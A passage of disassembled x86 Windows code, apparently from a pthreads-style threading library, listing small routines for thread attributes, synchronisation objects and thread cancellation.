XREF: sub_13D8F30+10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call free ; free add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn sub_13D8F30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8F80 proc near ; CODE XREF: sub_13AB6D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push esi call sub_13AB6B7 add esp, 4 test eax, eax mov eax, [esp+4+arg_4] jnz short loc_13D8FA5 test eax, eax jz short loc_13D8FA5 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_13D8FA5: ; CODE XREF: sub_13D8F80+14j ; sub_13D8F80+18j mov dword ptr [eax], 1 mov eax, 16h pop esi retn sub_13D8F80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8FD0 proc near ; CODE XREF: sub_13AB7ACj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push esi call sub_13AB6B7 add esp, 4 test eax, eax jz short loc_13D8FE9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D8FE9: ; CODE XREF: sub_13D8FD0+10j mov eax, [esp+4+arg_4] test eax, eax jz short loc_13D8FFD cmp eax, 1 jz short loc_13D8FFD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D8FFD: ; CODE XREF: sub_13D8FD0+1Fj ; sub_13D8FD0+24j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn sub_13D8FD0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9020 proc near ; CODE XREF: sub_13AB90Fj mov eax, 28h retn sub_13D9020 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9040 proc near ; CODE XREF: sub_13ABC25j mov eax, 28h retn sub_13D9040 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9060 proc near ; CODE XREF: sub_13AB748j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push esi call sub_13AB6B7 add esp, 4 test eax, eax jz short loc_13D9079 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D9079: ; CODE XREF: sub_13D9060+10j mov eax, [esi] mov edx, [esp+4+arg_4] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn sub_13D9060 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D90A0 proc near ; CODE XREF: sub_13AC5E4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push esi call sub_13AB6B7 add esp, 4 test eax, eax jz short loc_13D90B9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D90B9: ; CODE XREF: sub_13D90A0+10j mov eax, [esi] mov ecx, [esp+4+arg_4] pop esi mov [eax+8], ecx xor eax, eax retn sub_13D90A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D90E0 proc near ; CODE XREF: sub_13ABDA1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [eax] mov eax, [esp+arg_4] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn sub_13D90E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9110 proc near ; CODE XREF: sub_13ABD9Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub eax, 0 jz short loc_13D9132 dec eax jz short loc_13D9122 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_13D9122: ; CODE XREF: sub_13D9110+Aj mov eax, [esp+arg_0] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_13D9132: ; CODE XREF: sub_13D9110+7j mov eax, 30h retn sub_13D9110 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9150 proc near ; CODE XREF: sub_13AC008j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi push edi test ebx, ebx jz loc_13D91EB mov edi, [esp+0Ch+arg_8] test edi, edi jz loc_13D91EB push 18h push 1 call calloc ; calloc mov esi, eax add esp, 8 test esi, esi jz short loc_13D91E2 mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_13D9190 mov eax, [eax] test eax, eax jz short loc_13D9190 mov eax, [eax] jmp short loc_13D9192 ; --------------------------------------------------------------------------- loc_13D9190: ; CODE XREF: sub_13D9150+34j ; sub_13D9150+3Aj xor eax, eax loc_13D9192: ; CODE XREF: sub_13D9150+3Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_13AC076 add esp, 0Ch test eax, eax jnz short loc_13D91D8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_13AC076 add esp, 0Ch test eax, eax jnz short loc_13D91CF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13D91CF: ; CODE XREF: sub_13D9150+77j push edi call sub_13ABA86 add esp, 4 loc_13D91D8: ; CODE XREF: sub_13D9150+62j push esi call free ; free add esp, 4 loc_13D91E2: ; CODE XREF: sub_13D9150+2Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_13D91EB: ; CODE XREF: sub_13D9150+9j ; sub_13D9150+15j pop edi pop esi mov eax, 16h pop ebx retn sub_13D9150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9230 proc near ; CODE XREF: sub_13AC5E9j arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] push esi test ebp, ebp push edi jz short loc_13D9298 mov esi, [ebp+0] test esi, esi jz short loc_13D9298 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_13ABA86 mov edi, eax add esp, 4 test edi, edi jnz short loc_13D928E lea eax, [esi+14h] push eax call sub_13ABA86 mov edi, eax add esp, 4 test edi, edi jnz short loc_13D927F push esi call free ; free add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D927F: ; CODE XREF: sub_13D9230+3Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_13AC076 add esp, 0Ch loc_13D928E: ; CODE XREF: sub_13D9230+2Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D9298: ; CODE XREF: sub_13D9230+Aj ; sub_13D9230+11j pop edi pop esi pop ebp mov eax, 16h pop ebx retn sub_13D9230 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D92D0 proc near ; CODE XREF: sub_13ABB99j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz loc_13D9384 mov esi, [eax] test esi, esi jz loc_13D9384 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] call InterlockedDecrement ; InterlockedDecrement test eax, eax jnz short loc_13D9317 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_13D9364 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_13AC44A add esp, 8 mov esi, eax jmp short loc_13D9360 ; --------------------------------------------------------------------------- loc_13D9317: ; CODE XREF: sub_13D92D0+28j push ebx call sub_13AB6E4 mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_13D933B lea ecx, [esp+10h+arg_0] push ecx push ebx call sub_13AB80B add esp, 8 test eax, eax jz short loc_13D933D loc_13D933B: ; CODE XREF: sub_13D92D0+57j xor ebx, ebx loc_13D933D: ; CODE XREF: sub_13D92D0+69j lea edx, [esi+edi*4+10h] push edx call sub_13AB441 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_13D9360 mov eax, [esp+0Ch+arg_0] push 0 push eax call sub_13AB80B add esp, 8 loc_13D9360: ; CODE XREF: sub_13D92D0+45j ; sub_13D92D0+7Fj test esi, esi jnz short loc_13D937E loc_13D9364: ; CODE XREF: sub_13D92D0+32j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call ds:dword_102C5A4 xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_13D937E: ; CODE XREF: sub_13D92D0+92j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_13D9384: ; CODE XREF: sub_13D92D0+7j ; sub_13D92D0+11j mov eax, 16h pop esi retn sub_13D92D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D93C0 proc near ; CODE XREF: sub_13AC350j arg_0 = dword ptr 4 push esi push 4 push 1 xor esi, esi call calloc ; calloc add esp, 8 test eax, eax jnz short loc_13D93E3 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_13D93E3: ; CODE XREF: sub_13D93C0+12j mov ecx, [esp+4+arg_0] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn sub_13D93C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9410 proc near ; CODE XREF: sub_13ABE73j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_13D9431 mov eax, [ecx] test eax, eax jz short loc_13D9431 push eax mov [ecx], esi call free ; free add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_13D9431: ; CODE XREF: sub_13D9410+9j ; sub_13D9410+Fj mov eax, 16h pop esi retn sub_13D9410 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9450 proc near ; CODE XREF: sub_13AB67Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13D946D mov eax, [eax] test eax, eax jz short loc_13D946D mov ecx, [esp+arg_4] test ecx, ecx jz short loc_13D946D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_13D946D: ; CODE XREF: sub_13D9450+6j ; sub_13D9450+Cj ... mov eax, 16h retn sub_13D9450 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9490 proc near ; CODE XREF: sub_13ABA2Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13D94BA mov ecx, [eax] test ecx, ecx jz short loc_13D94BA mov eax, [esp+arg_4] cmp eax, 1 jz short loc_13D94AE test eax, eax jnz short loc_13D94BA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_13D94AE: ; CODE XREF: sub_13D9490+15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_13D94BA: ; CODE XREF: sub_13D9490+6j ; sub_13D9490+Cj ... mov eax, 16h retn sub_13D9490 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D94D0 proc near ; CODE XREF: sub_13AB80Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi call sub_13AB6E4 mov esi, eax test esi, esi jz short loc_13D9558 mov edi, [esp+8+arg_0] test edi, edi jz short loc_13D94EA cmp edi, 1 jnz short loc_13D9558 loc_13D94EA: ; CODE XREF: sub_13D94D0+13j push ebx lea ebx, [esi+2Ch] push ebx call sub_13AC625 mov eax, [esp+10h+arg_4] add esp, 4 test eax, eax jz short loc_13D9504 mov ecx, [esi+30h] mov [eax], ecx loc_13D9504: ; CODE XREF: sub_13D94D0+2Dj test edi, edi mov [esi+30h], edi jnz short loc_13D9549 mov eax, [esi+34h] test eax, eax jnz short loc_13D9549 mov edx, [esi+38h] push edi push edx call WaitForSingleObject ; WaitForSingleObject test eax, eax jnz short loc_13D9549 mov eax, [esi+38h] mov dword ptr [esi+0Ch], 3 push eax mov dword ptr [esi+30h], 1 call ResetEvent ; ResetEvent push ebx call sub_13AB4C3 push 2 call sub_13AC1D4 add esp, 8 loc_13D9549: ; CODE XREF: sub_13D94D0+39j ; sub_13D94D0+40j ... push ebx call sub_13AB4C3 add esp, 4 xor eax, eax pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D9558: ; CODE XREF: sub_13D94D0+Bj ; sub_13D94D0+18j pop edi mov eax, 16h pop esi retn sub_13D94D0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9590 proc near ; CODE XREF: sub_13AC63Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi call sub_13AB6E4 mov esi, eax test esi, esi jz short loc_13D9618 mov ebx, [esp+8+arg_0] cmp ebx, 1 jz short loc_13D95AA test ebx, ebx jnz short loc_13D9618 loc_13D95AA: ; CODE XREF: sub_13D9590+14j push edi lea edi, [esi+2Ch] push edi call sub_13AC625 mov eax, [esp+10h+arg_4] add esp, 4 test eax, eax jz short loc_13D95C4 mov ecx, [esi+34h] mov [eax], ecx loc_13D95C4: ; CODE XREF: sub_13D9590+2Dj mov eax, [esi+30h] mov [esi+34h], ebx test eax, eax jnz short loc_13D9609 test ebx, ebx jnz short loc_13D9609 mov edx, [esi+38h] push ebx push edx call WaitForSingleObject ; WaitForSingleObject test eax, eax jnz short loc_13D9609 mov eax, [esi+38h] mov dword ptr [esi+0Ch], 3 push eax mov dword ptr [esi+30h], 1 call ResetEvent ; ResetEvent push edi call sub_13AB4C3 push 2 call sub_13AC1D4 add esp, 8 loc_13D9609: ; CODE XREF: sub_13D9590+3Cj ; sub_13D9590+40j ... push edi call sub_13AB4C3 add esp, 4 xor eax, eax pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13D9618: ; CODE XREF: sub_13D9590+Bj ; sub_13D9590+18j pop esi mov eax, 16h pop ebx retn sub_13D9590 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9650 proc near ; CODE XREF: sub_13AC0EEj push esi push edi call sub_13AB6E4 mov esi, eax lea edi, [esi+2Ch] push edi call sub_13AC625 add esp, 4 test esi, esi jz short loc_13D969D cmp dword ptr [esi+30h], 1 jz short loc_13D969D mov eax, [esi+38h] push 0 push eax call WaitForSingleObject ; WaitForSingleObject test eax, eax jnz short loc_13D969D push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_13AB4C3 push 2 call sub_13AC1D4 add esp, 8 loc_13D969D: ; CODE XREF: sub_13D9650+17j ; sub_13D9650+1Dj ... push edi call sub_13AB4C3 add esp, 4 pop edi pop esi retn sub_13D9650 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D96D0 proc near ; CODE XREF: sub_13AC125j var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_214 = dword ptr -214h arg_0 = dword ptr 4 sub esp, 2D0h push esi mov esi, [esp+2D4h+arg_0] push 0 push esi call sub_13ABB58 add esp, 8 mov [esp+2D4h+var_2D0], eax test eax, eax jnz loc_13D9809 call sub_13AB6E4 test eax, eax jnz short loc_13D970B mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_13D970B: ; CODE XREF: sub_13D96D0+2Cj push ebx push ebp push edi push eax push esi call sub_13ABE50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_13AC625 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_13D97E2 mov eax, [esi+30h] test eax, eax jnz loc_13D97E2 cmp [esi+0Ch], ebp jge loc_13D97F5 test edi, edi jz short loc_13D9774 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_13AB4C3 push 2 call sub_13AC1D4 mov eax, [esp+2E8h+var_2D0] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_13D9774: ; CODE XREF: sub_13D96D0+79j mov edi, [esi+4] push edi call SuspendThread ; SuspendThread push 0 push edi call WaitForSingleObject ; WaitForSingleObject cmp eax, 102h jnz short loc_13D9802 lea eax, [esp+2E0h+var_2CC] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov [esp+2E8h+var_2CC], 10001h call GetThreadContext ; GetThreadContext lea ecx, [esp+2E0h+var_2CC] mov [esp+2E0h+var_214], offset dword_42F480 push ecx push edi call SetThreadContext ; SetThreadContext push ebx call sub_13AB4C3 add esp, 4 push edi call ResumeThread ; ResumeThread mov eax, [esp+2E0h+var_2D0] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_13D97E2: ; CODE XREF: sub_13D96D0+5Dj ; sub_13D96D0+68j cmp [esi+0Ch], ebp jge short loc_13D97F5 mov edx, [esi+38h] push edx call SetEvent ; SetEvent test eax, eax jnz short loc_13D97F9 loc_13D97F5: ; CODE XREF: sub_13D96D0+71j ; sub_13D96D0+115j mov [esp+2E0h+var_2D0], ebp loc_13D97F9: ; CODE XREF: sub_13D96D0+123j push ebx call sub_13AB4C3 add esp, 4 loc_13D9802: ; CODE XREF: sub_13D96D0+BCj mov eax, [esp+2E0h+var_2D0] pop edi pop ebp pop ebx loc_13D9809: ; CODE XREF: sub_13D96D0+1Fj pop esi add esp, 2D0h retn sub_13D96D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- push 2 call sub_13AC1D4 pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D98A0 proc near ; CODE XREF: sub_13AB522j arg_0 = dword ptr 4 mov eax, ds:dword_102C594 push esi push eax call sub_13AB590 mov esi, eax add esp, 4 test esi, esi jz short loc_13D98DE mov eax, [esp+4+arg_0] test eax, eax jz short loc_13D98CC mov eax, [esi] test eax, eax jz short loc_13D98CC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_13D98CC: ; CODE XREF: sub_13D98A0+1Bj ; sub_13D98A0+21j mov edx, [esi+8] mov eax, ds:dword_102C594 push edx push eax call sub_13AC4DB add esp, 8 loc_13D98DE: ; CODE XREF: sub_13D98A0+13j mov eax, esi pop esi retn sub_13D98A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9910 proc near ; CODE XREF: sub_13ABA59j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, ds:dword_102C594 push edx call sub_13AB590 mov [esi+8], eax mov eax, ds:dword_102C594 push esi push eax call sub_13AC4DB add esp, 0Ch pop esi retn sub_13D9910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9960 proc near ; CODE XREF: sub_13ABF4Fj arg_0 = dword ptr 4 push esi push offset dword_102CAE0 xor esi, esi call EnterCriticalSection mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_13D9994 push esi push ecx call sub_13AB941 add esp, 8 mov esi, eax push offset dword_102CAE0 call LeaveCriticalSection mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_13D9994: ; CODE XREF: sub_13D9960+17j test eax, eax jnz short loc_13D999D mov esi, 16h loc_13D999D: ; CODE XREF: sub_13D9960+36j push offset dword_102CAE0 call LeaveCriticalSection mov eax, esi pop esi retn sub_13D9960 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D99D0 proc near ; CODE XREF: sub_13AC4FEj arg_0 = dword ptr 4 push esi push 4 push 1 xor esi, esi call calloc ; calloc add esp, 8 test eax, eax jnz short loc_13D99F3 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_13D99F3: ; CODE XREF: sub_13D99D0+12j mov ecx, [esp+4+arg_0] mov [ecx], eax mov eax, esi pop esi retn sub_13D99D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9A10 proc near ; CODE XREF: sub_13AC5D0j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_13D9A33 mov eax, [esi] test eax, eax jz short loc_13D9A33 push eax call free ; free add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D9A33: ; CODE XREF: sub_13D9A10+7j ; sub_13D9A10+Dj mov eax, 16h pop esi retn sub_13D9A10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9A50 proc near ; CODE XREF: sub_13AB405j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13D9A6D mov eax, [eax] test eax, eax jz short loc_13D9A6D mov ecx, [esp+arg_4] test ecx, ecx jz short loc_13D9A6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_13D9A6D: ; CODE XREF: sub_13D9A50+6j ; sub_13D9A50+Cj ... mov eax, 16h retn sub_13D9A50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9A90 proc near ; CODE XREF: sub_13AB6ADj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13D9ABA mov ecx, [eax] test ecx, ecx jz short loc_13D9ABA mov eax, [esp+arg_4] cmp eax, 1 jz short loc_13D9AAE test eax, eax jnz short loc_13D9ABA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_13D9AAE: ; CODE XREF: sub_13D9A90+15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_13D9ABA: ; CODE XREF: sub_13D9A90+6j ; sub_13D9A90+Cj ... mov eax, 16h retn sub_13D9A90 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9AD0 proc near ; CODE XREF: sub_13AB941j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_13D9AE6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D9AE6: ; CODE XREF: sub_13D9AD0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_13D9B0D mov eax, [eax] cmp eax, edi jz short loc_13D9B0D cmp dword ptr [eax], 1 jnz short loc_13D9B0D mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D9B0D: ; CODE XREF: sub_13D9AD0+1Ej ; sub_13D9AD0+24j ... push 20h push 1 call calloc ; calloc mov esi, eax add esp, 8 cmp esi, edi jnz short loc_13D9B32 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D9B32: ; CODE XREF: sub_13D9AD0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_13AC076 add esp, 0Ch test eax, eax jz short loc_13D9B57 call _errno ; _errno mov edi, [eax] jmp short loc_13D9B9B ; --------------------------------------------------------------------------- loc_13D9B57: ; CODE XREF: sub_13D9AD0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_13AC076 add esp, 0Ch test eax, eax jz short loc_13D9B75 call _errno ; _errno mov edi, [eax] jmp short loc_13D9B92 ; --------------------------------------------------------------------------- loc_13D9B75: ; CODE XREF: sub_13D9AD0+99j lea eax, [esi+14h] push 0 push eax call sub_13AC599 mov edi, eax add esp, 8 test edi, edi jz short loc_13D9BFF push ebx call sub_13ABA86 add esp, 4 loc_13D9B92: ; CODE XREF: sub_13D9AD0+A3j push ebp call sub_13ABA86 add esp, 4 loc_13D9B9B: ; CODE XREF: sub_13D9AD0+85j push esi call free ; free add esp, 4 xor esi, esi test edi, edi jnz short loc_13D9BF2 loc_13D9BAB: ; CODE XREF: sub_13D9AD0+131j push offset dword_102CB60 call EnterCriticalSection mov dword ptr [esi+18h], 0 mov ecx, ds:dword_102C59C mov [esi+1Ch], ecx mov eax, ds:dword_102C59C test eax, eax jz short loc_13D9BD2 mov [eax+18h], esi loc_13D9BD2: ; CODE XREF: sub_13D9AD0+FDj mov eax, ds:dword_102C598 mov ds:dword_102C59C, esi test eax, eax jnz short loc_13D9BE7 mov ds:dword_102C598, esi loc_13D9BE7: ; CODE XREF: sub_13D9AD0+10Fj push offset dword_102CB60 call LeaveCriticalSection loc_13D9BF2: ; CODE XREF: sub_13D9AD0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D9BFF: ; CODE XREF: sub_13D9AD0+B7j xor edi, edi jmp short loc_13D9BAB sub_13D9AD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9C60 proc near ; CODE XREF: sub_13ABE91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_13D9E0C mov eax, [edi] test eax, eax jz loc_13D9E0C cmp eax, 0FFFFFFFFh jz loc_13D9DC3 push offset dword_102CB60 call EnterCriticalSection mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_13AB441 add esp, 4 test eax, eax jz short loc_13D9CB9 call _errno ; _errno mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D9CB9: ; CODE XREF: sub_13D9C60+49j lea ebp, [esi+14h] push ebp call sub_13ABB7B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_13D9CE0 push ebx call sub_13AB43C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D9CE0: ; CODE XREF: sub_13D9C60+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_13D9D19 push ebx call sub_13AB43C add esp, 4 test eax, eax jz short loc_13D9D02 call _errno ; _errno mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_13D9D02: ; CODE XREF: sub_13D9C60+94j push ebp call sub_13AB4C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_13D9DAE ; --------------------------------------------------------------------------- loc_13D9D19: ; CODE XREF: sub_13D9C60+87j push ebx mov dword ptr [edi], 0 call sub_13ABA86 mov edi, _errno add esp, 4 test eax, eax jz short loc_13D9D3A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_13D9D3A: ; CODE XREF: sub_13D9C60+D0j lea eax, [esi+0Ch] push eax call sub_13ABA86 add esp, 4 test eax, eax jz short loc_13D9D52 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_13D9D52: ; CODE XREF: sub_13D9C60+E8j push ebp call sub_13AB4C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_13D9D6C push ebp call sub_13AC62F add esp, 4 mov ebx, eax loc_13D9D6C: ; CODE XREF: sub_13D9C60+FFj cmp ds:dword_102C598, esi jnz short loc_13D9D7F mov edx, [esi+18h] mov ds:dword_102C598, edx jmp short loc_13D9D88 ; --------------------------------------------------------------------------- loc_13D9D7F: ; CODE XREF: sub_13D9C60+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_13D9D88: ; CODE XREF: sub_13D9C60+11Dj cmp ds:dword_102C59C, esi jnz short loc_13D9D9B mov edx, [esi+1Ch] mov ds:dword_102C59C, edx jmp short loc_13D9DA4 ; --------------------------------------------------------------------------- loc_13D9D9B: ; CODE XREF: sub_13D9C60+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_13D9DA4: ; CODE XREF: sub_13D9C60+139j push esi call free ; free add esp, 4 loc_13D9DAE: ; CODE XREF: sub_13D9C60+B4j push offset dword_102CB60 call LeaveCriticalSection mov esi, [esp+14h+arg_0] mov ebp, 